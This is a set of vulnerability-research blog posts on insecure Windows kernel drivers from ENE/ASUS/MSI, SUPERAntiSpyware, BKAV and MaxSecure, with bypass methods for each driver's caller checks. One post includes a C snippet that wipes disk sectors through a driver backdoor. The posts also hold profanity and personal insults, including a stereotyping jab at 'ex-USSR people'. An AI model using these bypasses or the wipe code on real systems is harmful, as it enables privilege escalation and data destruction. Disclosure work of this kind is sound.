"ENE Technology Inc" - vulnerable drivers global provider

Intro

Pic 1. Official logo.

ENE Technology Inc is a Taiwan based company founded in 1998. According to their website hxxp://www.ene.com.tw/index-en.php and Bloomberg summary:

ENE Technology Inc. develops, manufactures, and markets IC (integrated circuit) products. The Company's products include application-specific integrated circuits (ASICs), controller ICs for power switches, and notebook keyboards. 

However most of you will probably know them by piece of software - a ridiculously bugged driver bundle that ships with multiple software products of variety of hardware vendors, including but not limited to MicroStar, MicSys, ASUS, ASRock and some others. It is written by a very interesting developer(s) and I believe it is the same for all multiple variants of this driver bundle. The figure(s) behind this driver is awesome as I encounter their "creativity" multiple times and each time they manage to surprise me in a way when you expect that it can't be worse. 

Lets say what will happen when you hire someone with mediocre C-language understanding, who discovered official documentation just in 2020 but has a great google search skills? Nothing really bad, most of AV companies are full of such people (its a joke), but at least they have someone who can control them. ENE Technology Inc software products that will be discussed next is an example of what happens when no one control such people and their "creativity".

It's all about I/O

 

When it comes to hardware vendors giveio type drivers in 90% it is all based on three main sources:

• Windows DDK samples that are dated back to Windows NT 3.51 (hello Unwinder);
• WinRing0 open sourced library by hiyohiyo (CrystalMark author);
• WinIO open sourced library by Yariv Kaplan (from internals.com).
  

Just a coupe of bugs inside these sources:

1. No requestor access rights check - all driver devices are created with default security descriptor meaning everyone have read/write access to them;
2. No input parameters checking or they are insufficient/incorrect - easy way to crash your system from any user;
3. Unrestricted functionality - you can read/write anywhere, any ports, MSR's.
   

Currently hardware vendors are mostly blatantly copy-paste from these sources with minimal changes, if any. Sometimes their drivers contain functionality their products does not need at all. 

Reasons why this is a bad approach:

• All of the above were created without any kind of security in mind. It was forgivable to old DDK samples but totally inappropriate for everything else. So this code is failure by design and created with Windows XP in mind;
• Original codebase contain obvious programming mistakes - HW vendors mostly don't care and rarely fix anything.
  

It is a common trend for almost EVERY gaming hw vendors available today.

Pic 2. Choose your exploits provider.

When it comes to ENE Tech Inc drivers they are based on WinIO of 3.0 version. My first encounter was ASUS GLCKIo2 driver. 

Pic 3. ASUS locked GLCKIo2 driver.

 

It was all about same copy-pasta, but with ridiculous addition. This driver was "locked" for non trusted application access. This mean you have to "register" yourself as a good caller before doing any other job with this driver. This is fascinating - author more worried about who will be using his driver more than quality of driver code he copy-pasted. The "unlocking" process of GLCKIo2 driver was the following:

1. In client application - call GetCurrentProcessId(), modify result with SWAP_UINT32 macro;
2. Copy result to local 16 bytes length buffer;
3. Encrypt this buffer with AES ECB, using TinyAES open source code, as key they used slightly modified values found in Google search (😎);
4. Call driver with special IOCTL passing encrypted buffer as input parameter;
5. Driver processes this IOCTL, decrypts buffer (same TinyAES) and extracts PID to remember it in internal list of "trusted" applications;
6. When other IOCTL called - driver checks if this call is from process with ID in trusted list - if so call allowed, otherwise access denied error will be returned to caller. 

It is merely a joke than anything else. Full unlocking -> https://gist.githubusercontent.com/hfiref0x/3d46c012eb6cffcba34f0006d38e5165/raw/b2792823f85bdd4d5a91a8c802d6f57320ad2cc1/GLCKIo2.c

Next I found ENE.sys driver signed with "Ptolemy Tech Co" certificate. It was based on WinIO but missing all these locking features. Curiously enough it contain the following pdb string: d:\winglckio_20180320\amd64\EneIo.pdb

Pic 4. ENE lock free variant.

 

It is hard to tell which one was the first, but ASUS lock feature may have explanation. Well, ASUS drivers were loved target for CVE scalpers - easy to get and sort of "addition" to infosec portfolio. If you google for GLCKIo driver you will find a lot of CVE noise around it, for example https://seclists.org/fulldisclosure/2018/Dec/34. With initial discovery in the end of 2017. So we can assume that this GLCKIo2 is a sort of response.This could explain caller registration introduction and code base switch. As "fix" it is pathetic and fixes nothing. This is not an ASUS only fault - all the above mentioned companies does the same. In general they give zero fuck about security of their customers, especially MSI.

Looking for more ASUS bugged drivers (there are LOT of them) I found an interesting coupe next. AsIO.sys (device name Asusgio) and AsIO2.sys (device name Asusgio2). First driver is an old standard copy-paste which has CVE noise assigned, second one is from our beloved ENE Tech Inc coders.

Pic 5. AsIO2 from our friend.

 

Specific code similarities found inside both drivers led to idea that they are both created by same author/team. It is slightly modified WinIO codebase (no bugs fixed, instead added more chaos) with another "driver lock", implemented in unusual way. The unlocking is only allowed from process that has specific PE resource inside named "ASUSCERT". That is how it generated:

1.  Query current timestamp with GetSystemTimePreciseAsFileTime;
2.  Convert it to seconds since 1970;
   
3.  Copy value to 16 bytes length buffer and encrypt it using AES ECB (TinyAES again);
4. AES key again found in Google search and slightly modified;
5. Move result encrypted buffer to PE resources as "ASUSCERT" (without quotes).

When caller does request to the driver (any IRP_MJ_*) driver will query full image path of the caller, read file into buffer and parse for PE timestamp and RCDATA resource named ASUSCERT, decrypt it and extract timestamp. Next AsIO2 will check if the difference between PE timestamp and decrypred timestamp < 7200 (2 hours). If it is - then caller will be allowed to use driver. Thus to be able use this driver you just need a properly generated resource.

 

This obviously can't be threatened as security fix. 

Pic 6. Very secure, very fixed AsIO2.sys

 

Using same pattern I found several other drivers. For example driver called EneTechIo.sys (E:\GitSourceCode\Ene\SmbusSDK\driver_src\EneIo\x64\Release\EneIo.pdb)

Pic 7. EneTechIo driver from TOUGHRAM software bundle.

 

WinIO based, locked driver as usual. However they again changed unlocking algorithm. Instead of using PE resource they now passing encrypted buffer directly in each driver call as part of input data structure. Every payload driver function now checks if the call time within a small time window (few seconds). Unlocking it looks like this:

 

Worth to mention some debug version of Ene driver. It is lock free, has multiple DbgPrint's and contain the following pdb string (d:\winglckio_20180320\amd64\EneIo.pdb).
 

As of recent EneTechIo driver from fresh up-to-date of this post MSI Dragon Center bloatware (E:\GitSourceCode\IoAccess\SmbusSDK\driver_src\EneIo\x64\Release\EneIo.pdb).

Pic 8. EneTechIo from MSI Dragon Center (May 2020)

Key changes:

1. TinyAES is no longer used, they switched to CNG (maybe also found it while doing usual Google searches for copy-pasta ready code);
2. MSR related code removed;
3. Introduced new requestor whitelisting check.

Driver setups image load notify callback (PsSetLoadImageNotifyRoutine) and looks for event when SB_SMBUS_SDK.dll is loaded. Note that name of dll is case sensitive. This dll is an API layer for interacting with EneTech driver. If filename contains SB_SMBUS_SDK.dll then driver will register process by it ID extracted from notify callback. No further checks implemented, so basically you can create dumb empty dll with SB_SMBUS_SDK.dll name, load it in your process and this driver will register you as trusted caller. Everything else will be the same as AES encoding mode is same and their implementations of course has no differences.

Code to unlock -> https://gist.githubusercontent.com/hfiref0x/bff37d328cb16d3df92f8743b4b054ca/raw/595531f209771943cecce799afd954029ba02b80/enetech_new.c

ENE Tech Inc authors doing everything possible (for them) to complicate their driver usage by third-party actors. Instead of fixing generic WinIO "bugs and features" they constantly (and with no success) reinventing the wheel.

P.S. Very company, very ENE Technology Inc.

When I found their website in Feb 2020 I was very surprised by it English section, because it was all full of 3rd party web injected links.

Pic 9. Ene website.

 

Hashes:

175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347

61a1bdddd3c512e681818debb5bee94db701768fc25e674fcad46592a3259bd0

06bda5a1594f7121acd2efe38ccb617fbc078bb9a70b665a5f5efd70e3013f50

9fc29480407e5179aa8ea41682409b4ea33f1a42026277613d6484e5419de374

810513b3f4c8d29afb46f71816350088caacf46f1be361af55b26f3fee4662c3

38c18db050b0b2b07f657c03db1c9595febae0319c746c3eede677e21cd238b0

SUPERAntiSpyware Backdoor SASKUTIL64

Intro

Pic 1.Official logo that perfectly fits context.

While you probably never used this software you for sure heard about it like 10-12 years ago when it was heavily advertised as ultimate solution to the Windows spyware. From my opinion it always was a digital placebo which was hard to distinguish from typical fake av of that times. And, what a surprise, this software contain a specially designed system level backdoor any local user can use.

Quote from product web-site:

Protect your PC from malicious threats from malware, spyware, ransomware, trojans, keyloggers, and more.

No, it is not capable of that.
 

Drivers

SUPERAntiSpyware has a few kernel mode drivers in it typical x64 installation, no matter Free or Pro version. These drivers are: saskutil64.sys and sasdifsv64.sys - both have no description so I myself figured out what they do. For x86-32 version these drivers also present as saskutil.sys, sasdifsv.sys, however they contain much more functionality and have several unfixed CVE assigned: CVE-2018-6471, CVE-2018-6472, CVE-2018-6473, CVE-2018-6474, CVE-2018-6476. Why do I know they are unfixed? Doesn't even need to check the code - all drivers compiled and signed NINE years ago in 2011 😊 Honestly I think they either lost drivers source code or lost their developers who can refactor code and fix mentioned bugs. Plus SUPERAntiSpyware itself has EoP CVE-2018-6475. Very cool already isn't? Seems SUPERAntiSpyware era ended together with Windows XP EOL, F. The 32bit drivers are pure BSOD/EoP generators and it was already mentioned like 10 years ago here -> https://seclists.org/fulldisclosure/2010/Mar/195 However it is all not so important or useful because it apply to 32bit version. 

In x64 version all devices in all drivers have default security descriptor and can be accessed for read/write by everyone. We are looking for something that can be useful for us, extra functionality we can use later in different project(s).

First driver I took was sasdifsv64.sys, it does nothing as "driver" (despite having device object and symbolic link) and it only purpose is to execute two procedures at entry point. Purpose of them - read list of files from dedicated registry subkey and either delete or move them. This is a typical shitcode solution often seen in low quality products.

Backdoor

Saskutil64 is much more interesting. It has a single IOCTL 0x9C402140 and it has unexpected functionality. This IOCTL handler invokes function I called "SaskCallDriver" which purpose is to build synchronous I/O write request and send it to device specifed by user by name. This function works with user mode supplied buffer of the fixed size that is a structure defined as:

typedef struct _CALL_DRV {
    WCHAR DeviceName[2048];
    LARGE_INTEGER StartingOffset;      
    SIZE_T DataSize;                   
    PVOID DataPtr;          
} CALL_DRV, * PCALL_DRV;

This structure declaration is self explaining, DeviceName should be fully qualified name of the device and DataPtr is a pointer to buffer located in user mode. The SaskCallDriver function bugged itself as it misses error handling in critical parts of the code and wrong data from user mode can easily result in system denial of service. Reconstructed source code of function below, note multiple bugs which can only be made by totally incompetent developers:

NTSTATUS SaskCallDriver(PIRP Irp)
{
    CALL_DRV* CallDrvStruct;
    PVOID writeBuffer;
    IRP* writeIrp;
    UNICODE_STRING deviceString;
    IO_STATUS_BLOCK statusBlock;
    KEVENT waitEvent;
    PDEVICE_OBJECT deviceObject;
    LARGE_INTEGER startingOffset;
    PFILE_OBJECT fileObject;

    CallDrvStruct = (CALL_DRV*)Irp->AssociatedIrp.SystemBuffer;

    __try {

        //
        // This entire part makes no sense because IOCTL has transfer type METHOD_BUFFERED.
        // Thus pointer will always be kernel mode and this code will never be executed.
        //
        if ((ULONG_PTR)CallDrvStruct < 0x8000000000000000)
        {
            ProbeForRead(CallDrvStruct, 4120, 1);
            ProbeForWrite(CallDrvStruct, 4120, 1);
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {

        return STATUS_ACCESS_VIOLATION;

    }

    __try {

        writeBuffer = CallDrvStruct->DataPtr;

        //
        // This address comparison check ruins ProbeFor* functionality.
        // If invalid kernel address will be passed it won't be checked and code later will bugcheck.
        //
        if ((ULONG_PTR)writeBuffer < 0x8000000000000000)
        {
            ProbeForRead(writeBuffer, CallDrvStruct->DataSize, 1);
            ProbeForWrite(CallDrvStruct->DataPtr, CallDrvStruct->DataSize, 1);
        }

    }
    __except (EXCEPTION_EXECUTE_HANDLER) {

        return STATUS_ACCESS_VIOLATION;

    }

    RtlInitUnicodeString(&deviceString, CallDrvStruct->DeviceName);

    IoGetDeviceObjectPointer(&deviceString, 0x80, &fileObject, &deviceObject);  // No check of API call

    startingOffset = CallDrvStruct->StartingOffset;

    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);

    writeIrp = IoBuildSynchronousFsdRequest( // No check of API call
        IRP_MJ_WRITE,
        deviceObject,
        CallDrvStruct->DataPtr,
        CallDrvStruct->DataSize,
        &startingOffset,
        &waitEvent,
        &statusBlock);

    writeIrp->Flags = IRP_BUFFERED_IO;

    if (IofCallDriver(deviceObject, writeIrp) == STATUS_PENDING) // This will bugcheck if anything from above failed.
        KeWaitForSingleObject(&waitEvent, Executive, KernelMode, FALSE, NULL);

    return STATUS_SUCCESS;
}

This is pure backdoor by it nature, design and implementation. There is no security checks implemented in driver, it device has default security descriptor, it is also a complete disaster from programming point of view because authors of this code does not understand basics of Windows driver development at all. 

This code gives any local user ability write arbitrary data to the arbitrary device. I took some time looking how SUPERAntiSpyware uses this and it turns out it has NTFS parsing ability, so this IOCTL is used to work with filesystem data, presumable modify existing files/attributes during "spyware removal" procedures. As you can understand the usage of this feature maybe various, from trivial data wipe similar to APTs based on EldoS RawDisk (like for example Dustman) to elevation of privilege through rewriting files on disk. There is no adequate fix for this except removing that functionality completely and thus rewriting this driver from scratch. Below is a demonstration in Windows 10 latest version from regular user account. It is simple data wipe of disk sectors with:

    WCHAR writeData[512];

    memset(&writeData, 0xFF, sizeof(writeData));
    RtlSecureZeroMemory(&request, sizeof(request));

    wcscpy_s(request.DeviceName, L"\\Device\\Harddisk0\\DR0");
    request.DataSize = sizeof(writeData);
    request.DataPtr = (PVOID)&writeData;

    for (ULONG i = 0; i < 65; i++) {

        request.StartingOffset.LowPart = (i * 512);
        printf_s("[+] Writing 512 bytes buffer in DR0 device at offset 0x%llx\r\n", request.StartingOffset.QuadPart);

        ntStatus = CallDriver(deviceHandle,
            IOCTL_SAS_CALLDRIVER,
            &request,
            sizeof(CALL_DRV),
            NULL,
            0);

        printf_s("[+] CallDriver NTSTATUS 0x%lX\r\n", ntStatus);

    }

Pic 2. SASKUTIL device, default security descriptor.

Pic 3. Windows 10 version.

Pic 4. Data wipe in progress.

Pic 5. Data wipe complete.

Theoretically you can even try to send some tcp/udp packets with this thing. Such an ironic end of that SUPERAntiSpyware 😉 All current x64 versions with same driver and functionality are vulnerable - basically you can destroy all data on every PC where SUPERAntiSpyware x64 version installed and do this from any local account.

Since impact of making such information public maybe destructive it was decided notify vendor first. However it turns out they don't have easy ways to do that. In process of trying to communicate it was discovered that this vendor had previously ignored all found exploits for two years and produced series of absolutely inadequate fixes for exploits ten years ago, basically leaving them as is. Taking into account this and the fact that SUPERAntiSpyware as product looks totally obsolete it was decided to make information public. However if you for some unknown reason still use this software see Mitigations part to eliminate your risks. As of new users I highly do not recommend try/consider a purchase this software - this is not only waste of your time/money but also keep it mind you are installing easy to use backdoor on your PC which cannot be easily prevented.

Mitigations

As mitigations I would suggest immediately remove SUPERAntiSpyware and make sure it uninstalled all it drivers - check it files and registry entries. Until vendor will not remove this "functionality" backdoor completely this program should be considered dangerous to use. However history of SUPERAntiSpyware driver exploits shows these drivers are created by incompetent developers who are unfamiliar with Windows drivers development, so only possible good fix - total removal of drivers from this product.

SUPERAntiSpyware driver SASKUTIL64.sys should be blacklisted by file hash or certificate as it can be used by data wiping malware (most obvious and easy use). And don't forget to use latest available Windows 10 with hypervisor enforced code integrity and WD enabled (at least its written by much more competent devs).

BKAV - Arbitrary File Deletion Feature

Today post is a continuation of journey into the wonderful world of so called "security solutions" full of programming unicorns and other kind of pure magic. Today it will be about BKAV or Bkav, whatever. This software is from Vietnam. While it definitely better than previously analyzed "MaxSecure" scam, it still not something I would recommend to use 😊 If you care about your files, of course. 😅

Our target is BKAV Professional (Internet Security AI 2019 whatever this mean) - super duper last version available for download.

During it install and startup this software install and load the following drivers.

Pic 1. BKAV drivers.

All these drivers have devices everyone can access. It can take a while debugging and reversing all of them (despite most have identical code patterns) however I got success with my first driver I tried. It is called BkavSP.sys and this is "BKAV SD Minifilter Module", version 1.0.0.246. It is set to autoload each Windows boot with Start type set to SERVICE_SYSTEM_START. 

This driver has dispatch entry with user callable IOCTLs 0x2221CC, 0x22E141, 0x22E145. First one work with internal driver data, two others are more interesting. First is for file deletion, second is for file renaming. As filename they use parameter of device I/O control input buffer from user mode. However even if BKAV device called \Device\BkavSP has default security descriptor they can't be called directly without some little magic. This driver approves calls only from few processes that is hardcoded inside and requester checked everytime IOCTL 0x22E141 or 0x22E145 dispatch hit.

Approval algorithm is the following:

• Query requester full image path name, ZwQueryInformationProcess(ProcessImageFileName), shake it a bit, lower chars;

• Compare result with hardcoded values, if they equal - caller is trusted, process IOCTL.

Hardcoded values are: 

BkavService.exe, BluProService.exe, BkavFirewallService.exe, EnterpriseUpdateService.exe

They are expected to be in \SystemRoot\SysWOW64. And yes after installation there is at least one of them present - BkavService.exe. There is no validation if this is valid executables from BKAV or renamed or malicious, just filename comparison. Perhaps authors thinks if they are in SysWOW64 this protect them from tampering. That is a mistake. By the way I saw identical requester check in some trash from ASUS software with same pity result.

What we need to do is to run BkavService.exe with our code inside, create a typical zombie process. What is BkavService.exe? It is 32 bit application with requestedExecutionLevel = requireAdministrator set in embedded manifest. So we will use 32 bit loader and to be able to exploit this BKAVSP feature we need to bypass requireAdministrator manifest setting. We cannot modify this file as it in SYSWOW64 folder and we cannot use it from outside this folder. So we need another simple workaround. During CreateProcess phase we will create copy of our environment with RtlCreateEnvironment and extend it by RtlSetEnvironmentVariable with the new variable __COMPAT_LAYER with value RUNASINVOKER. Next this environment block will be supplied as parameter for CreateProcess API. This will override manifest setting and launch this BkavService.exe requiring administrator rights. From this zombie process we can do our "hack the planet" stuff. Even from Guest account.

The full source code below. As target for deletion selected Windows driver "pci.sys" with hardcoded path. You can use other filenames, they not necessary must be inside Windows directory.


I would suggest BKAV to reconsider the way they validate requester process, discover for yourself modern security API to secure driver devices and stop using code solutions found in Google search. Otherwise this is just another lolAV with loldrivers that only does damage to client PC. Moving this "security solution" to the Recycle Bin as usual.

Pic2. Running proof-of-concept from Guest account.

Pic 3. Inject success, device opened.

Pic 4. PCI.sys deleted successfully.

P.S. Journey will continue ⛵ The much more dangerous "security solutions" are still waiting for publication.

MaxSecure = MaxVulnerabilities or yet another legalized FakeAV~

While looking for more "loldrivers" I was digging into numerous crap utilities/bundles from various hardware vendors. Results were outstanding, few dozens of vulnerable drivers in most recent versions from all possible hardware vendors. Especially this apply to so-called "PC gaming" part and various "RGB control" trash. In their products you can find literally all kind of bugs from multiple software crashes to system denial of service and numerous LPE. Most of these bugged crap is WHQL signed. Unfortunately HVCI is not complete panacea here because in my tests most of drivers, where declared special support of Windows 10, perfectly works with HVCI enabled, while most dangerous features like overwriting memory are indeed will be blocked, everything else works as before. Not to say that HVCI is itself not ready to be mainstream and room of opportunities is still big. This feature is like 10 years late just as KPP during its appearance. The Microsoft is the only one who to blame here. Starting from chaos in their development guides, frameworks and available examples and ending up with the way they validate drivers for WHQL. It all become too complicated, too costly, too big and too crappy.

Next we are going to "fake av" scene, where multiple of so-called "antimalware" solutions in reality are working as digital placebo with additional dangerous impact because due to exceptional design and implementation they just extend attack surface of target machine. Last time I've checked AV's in the late of 200x, starting from that infamous bugged crap called Kaspersky AV 6.0/7.0 in 2007 (had a lots of ROFL's when I got a look on actual source code in 2010) and ending up with product from Daniloff sect (2009-2010). As reference for search we are looking on VirusTotal usual report of anything. With the desire to cram as much as possible vendors and their products (and probably because of trivial greed) VirusTotal now is like a shop window where you can find everything you want. Take a hint, while there more than 70 vendors listed in report, only ~20% of them are real AV with reputation, resources and knowledge base. Anything else here is an antispyware solutions at best, academic trash, co-branded trash and just a trash and legalized fakeAV's. The value of these legalized fakeAV's is ZERO, they don't deserve anything including bugreports - they are clients of Recycle Bin.

The first who got my attention was something called Zillya (it was in the end of VT report) - turned out it is another wannabeav this time from Ukraine. It has extremely vulnerable zef.sys driver which has assigned CVE-2018-5956, CVE-2018-5957, CVE-2018-5958. They are still valid as this vendor seems all busy with polishing it mediocre generic shitlike GUI. It was like a hint for me - oh lol, so in 2020 we still have situation like was 15 years ago and now it is even worse because number of vendors increased ten times. So I was looking for some fresh, new, unknown to me names in the scan list. And I found a true JEWEL of absurdity called MaxSecure.

Pic 1. Max Secure logo

Max Secure Software is from India. They develop so called "security" solutions of various kinds - full list here https://www.maxpcsecure.com/download.htm
Lets look on their top tier software bundle called Max Secure Total Security. Such names are usually good indicators of shitware. I would suggest authors consider few more cool secure names for their stuff like - Max Secure Total Secure Security and Max Secure Platinum Gold Security.

After installation on Windows 10 Max Secure Total Security load few drivers:

MaxCryptMon.sys (Max Secure Software Active Monitor Driver), WHQL
MaxMgr.sys (Max Secure Software Startup Manager Driver), WHQL
MaxProc64.sys (Max Secure Software Self Protection Driver), WHQL
MaxProtector64.sys (Max Secure Software Self Protection Driver), WHQL
SDActMonitor.sys (Max Secure Software Active Monitor Driver), WHQL

Spoiler: all these drivers are ridiculous inside and totally fucked up. Lets look what they do.

Pic 2. Max Secure installed callbacks as seen by WinObjEx64.

From the screenshot above it is obvious that MaxProc64 is responsible for protecting process objects and MaxProtector64 is for registry keys. Why not in single driver? That's interesting question, actually all this "product" is under big question mark - WTF is this?

Examining driver entries of all these drivers revealed they are build from the same base source code with copy-paste from Microsoft driver samples - https://github.com/microsoft/Windows-driver-samples Basically all these 5 drivers are build from one source code that just modified for each project. However MaxSecure managed to turn this code into circus of absurd. Taking MaxProc64 as example.

Pic 3. MaxProc64 driver entry.

The key functionality of WdmlibIoCreateDeviceSecure (IoCreateDeviceSecure) is mistreated and basically it call defaulted to simple IoCreateDevice. Which mean device object for this driver will have default security descriptor. Not to mention there is no check of APIs call results. I understand that SDDL language is very specific, however you can simple copy-paste ready-to-use SDDL string from the Microsoft examples. No, we have "~", whatever this mean. Not sure if this is a bug or intentional use. Anyway results on picture below.

Pic 4. Default SD as result of misused IoCreateDeviceSecure.

Since this code is shared between all five drivers, they all have the driver devices open for everyone access. There is a small exception for SDActMon as it seems created from more advanced source code version. However SDDL string they use here is equivalent to default security descriptor.

What can we do with these drivers? Not that much, however we can completely disable all it "protection". Each of this drivers contain IOCTL dispatch routine that always return STATUS_SUCCESS no matter if IOCTL is valid for this driver or not. Example from MaxProc64.
IOCTLs 0x220007 and 0x220015 are intended to change global variable state to TRUE or FALSE, which is later checked in the ObCallback routine. If it is set to FALSE this routine will quit without doing anything. The same IOCTLs present in SDActMon/MaxProtector64/MaxCryptMon drivers where they change behavior of CmCallback routine, allowing for example to completely disable this so-called "self-protection". If we look on dispatch routine IOCTL 0x220019 is a just BSOD-generator, as invalid data passed by DeviceIoControl will ultimately lead to exception and BSOD. This IOCTL shared between drivers and they all will blue screen as well. Other drivers (except MaxMgr which has empty dispatch routine) contain more IOCTLs (e.g. 0x220009, 0x220011 in MaxProtector64) and almost all of them can be bugchecked same way. Exceptional absence of any kind of quality.

Pic 5. Typical MaxSecurity.

These drivers actually doing almost nothing useful anyway. Some of them running system threads where endlessly looping over reading registry keys, some build list of blocked registry keys by reading it from INI file in program directory. Everything is completely bugged and BSOD friendly. All these drivers are written without proper understanding what they are doing and for sake of what. The only adequate solution to this MaxSecure chaos - complete it uninstall and manual cleanup if required.

Pic 6. Ultimate end for MaxSecure and it products.

Bonus or blast from the past.

While working this piece of software creates hidden directories in the root directory of your system drive. It stores multiple files inside which makes little sense but one of it got my attention. It is 32 bit driver called Data04.sys with internal name SDManager.sys signed with modern SHA256 certificate in 2018. This driver does nothing after load and it only purpose is to execute code at it driver entry. At first code attempts to delete file with ZwDeleteFile call and then if it was unsuccessful - overwrite this file with ZwCreateFile. The file it does not like is \SystemRoot\system32\drivers\TDSSserv.sys. Which is TDSS rootkit of version 1.0 distributed in 2008. This makes me think that the entire MaxSecure scam evolved from primitive noob solutions like this. What this ancient crap is doing in their modern software bundle is completely unknown.

VBoxHardenedLoader v2

Pic 1. VBoxHardenedLoader VM historical splash screen from 2014.

This is a major update of VBoxHardenedLoader which initial purpose is to hide VirtualBox from detection by various skid malware available up to date.

Key changes:

1. Support of new VirtualBox 6.1.x version

The VBox 6.1 version brings huge number of changes under the hood and none of previous loaders will work with it correctly. This includes updates ACPI tables, BIOS rom files and EFI ROM module.

2. New monitoring driver and new way of it loading.

VBoxHardenedLoader historically uses Tsugumi.sys to patch VBoxDD.dll library in run-time, when VBox process is loading them. This dll contain a lot of detection traces that next can be used to detect virtual machine from the inside. Because of idiotic feature created by Oracle and called "hardening" there is no other ways to do that on Windows except patch this dll during run-time and do this only from kernel mode as Oracle "hardening" actively opposes any attempt to do changes from user mode.

Since version 2 there is no more TDL involved as driver loader and as fact there is no more Tsugumi driver. TDL is known to have issues with newest Windows 10 versions as well as PatchGuard is really unhappy with drivers it map. Instead of TDL VBoxHardenedLoader is now include KDU (Kernel Driver Utility) codebase to install and start in kernel mode monitoring code. The entire KDU project as in fact was developed just to replace TDL for VBoxHardenedLoader. This new monitoring code is a shellcode version of initial Tsugumi driver specially reimplemented for KDU usage and PatchGuard checks. You can read how KDU work from it readme section of github https://github.com/hfiref0x/KDU#how-it-work. However this is *lite* version of what is used in VBoxHardenedLoader. Extended version does a lot more - it control Process Explorer victim driver unload routine (fully reimplements it) and uses victim driver data section to store it own data. In fact there is nothing much left from original Process Explorer driver after Tsugumi takes control.

This also highlights obvious limitation - when you are using VBoxHardenedLoader you can't use Process Explorer from SysInternals at full it capabilities. Well, it will work, but it driver won't accept any commands from Process Explorer application. If Process Explorer attempt to unload it driver this will just result in Tsugumi monitoring stop. Driver will be unloaded and next time when starting VM with settings from VBoxHardenedLoader you will have to restart loader again, otherwise VM won't start. So if you want a free and much more powerful alternative - just use Process Hacker instead. Honestly, Process Explorer is useless and seems exist just to serve as a placeholder for shellcodes.

3. Reimplemented installation guide to reflect main changes.

The above changes resulted in installation guide remake, everything related to TDL was removed. Some guide sections simplified, screenshots and settings refreshed for VBox v6.1.2.

Take a note that some detection vectors are still working because they based on things Oracle does not want (or able) to fix for years.

Project link
https://github.com/hfiref0x/VBoxHardenedLoader

P.S.
It would be much easier if in some day some smart guy from Oracle management will force out "hardening" idiocy or at least make it optional or/and configurable.

Unwinding RTCore

This is a response to recent Unwinder claims and behavior related to vulnerabilities found in his RTCore32/64 driver which is a part of MSI Afterburner. I almost forgot about him and his software but recently this guy reminded himself again.

RTCore overview
RTCore is a name of kernel mode driver used by MSI Afterburner software (https://www.msi.com/page/afterburner), quote "The world’s most recognized and widely used graphics card overclocking utility which gives you full control of your graphics cards". There are exist two variants of the RTCore driver, built from the same source - RTCore64.sys and RTCore32.sys, each for respective platform. This driver provides access to the physical memory, CPU MSR's, I/O ports read/write. Applications interact with driver via API layer implemented in RTCore.dll which is also a part of MSI Afterburner installation. Basically it is a simple "giveio" type helper driver.

This driver is a subject of legacy code, derived in mostly unmodified state likely from time when Windows XP (or even Windows 2k) was all new and shiny. That mean it doesn't care about security. Latest available RTCore drivers is able to run on most recent Windows 10 where enforced security was enabled. Historically RTCore is a part of RivaTuner code. In a short, RTCore is a wormhole.

Security issues of RTCore known for a long period of time, got various CVE id's and even caused author - Alexey Nicolaychuk aka Unwinder to publicly bitch about yet another publication (https://github.com/Barakat/CVE-2019-16098). TL;DR according to Alexey, no one notified him before publication, so it wasn't a "responsible disclosure". 

Is that true? Of course not, he was aware of this RTCore "feature" at least from 2016, see next.

It is worth to mention that I was using RivaTuner back to the 1999 and early 200x on Riva TNT2 next GeForce 2 MX400 and GeForce 3 Ti200 and this utility was indeed very helpful at that time. Than I got enough money to buy better hardware and RivaTuner moved to the Recycle Bin.

Response to CVE-2019-16098
No doubt his code and everything based on it is still very useful for a lot of people. However Alexey attitude to security of his products can only be described as "weird". This can be described by idiom "You can't teach an old dog new tricks".

Pic 1. Unwinder response to CVE-2019-16098.

Alexey probably unaware that this kind of bugs (vulnerabilities in third party drivers and especially in various utilities from hardware vendors) are common for years, and under "years" I mean YEARS (e.g. CVE-2008-5725). We still here and no apocalypse happened. He was so upset that he decided to write to the author of the exploit both on the github and on Twitter some mocking messages. Have no idea, probably if there was Facebook somewhere he would post here too, or already did? Well, what can I say, are you in need of some medicine, Alexey? This attitude is a common for some ex-USSR people who believe that sun is spinning around them and everybody owes something to them.

The Jar of Worms*
*(c) Unwinder, 2019
To understand what does this mean lets take as example UnknownCheats forum (UC) - probably the leading platform for game cheats developers available today. By it impact to the game cheats it probably can be compared to the wasm.ru impact on sophisticated malware development. Here, just by using forum search, you can find a multiple vulnerable drivers (even packs of them) with some already used in game cheats to bypass anticheat software. They use this for years and most of information freely available for both cheat/anticheat developers and very well indexed by search engines. Github is full of projects (of various quality) from UC members involving usage of these vulnerable drivers - these projects are provided as-is to everyone on various programming languages. While being written by mostly kids of school or college age 

Pic 2. Typical UC thread content
(https://www.unknowncheats.me/forum/2111513-post8.html).

they are usable as all you need from this is a concept.

Why there is no multiple use in malware area and where is the "jar of worms" located? So far this jar of worms exist only as Unwinder wet fantasy. If Alexey was not an amateur in the area where he is trying to picture himself as an expert (or if we go down to the Unwinder comments level - wannabeexpert) -  he would know about modern Windows security boundaries and thing called practicability. Difference between intentional and unintentional/forced usage. In cheats area - game hack users are actively involved in bypassing security mechanisms because they want to play with cheats and they ultimately looking for a way to do that. In malware - users are victims and while they can be social-engineered to bypass basic Windows security mechanisms in favour of malware needs, malware still will have to deal with Windows security. That moves practical usage of this drivers to the very specific APT area. 

RTCore problem
After dealing with "jar of worms" (yeah I like that) we suddenly discovering that RTCore author seems absolutely do not understand the "core" problem of his RTCore. Here is it, Alexey, specially for you - who are ignoring OS security model for decades, I'm showing you exact problem of your wormhole by design software.

Pic 3. RTCore DriverEntry.

Quote from MSDN

IoCreateDevice can only be used to create an unnamed device object, or a named device object for which a security descriptor is set by an INF file. Otherwise, drivers must use IoCreateDeviceSecure to create named device objects.


What happens here. When MSI Afterburner loads RTCore32/64 driver, it device object will be created with a default security descriptor. Which means literally any logged user on this machine can access this driver through it device with read/write permissions.

Pic 4. RTCore64 device security permissions.

RTCore gives you ability to read/write to the MSR's, I/O ports and memory. The first use of this RTCore "design" demonstrated by CVE-2019-16098 - elevation of privilege via typical EPROCESS structure modification. Another one (since this driver has ability to read/write arbitrary kernel memory) is driver mapping - something similar to TDL/Stryker/CapCom and multiple other mappers based on vulnerable third-party drivers. Since there is also feature to read and write to MSR's and ports - this makes RTCore awesome for exploiting.

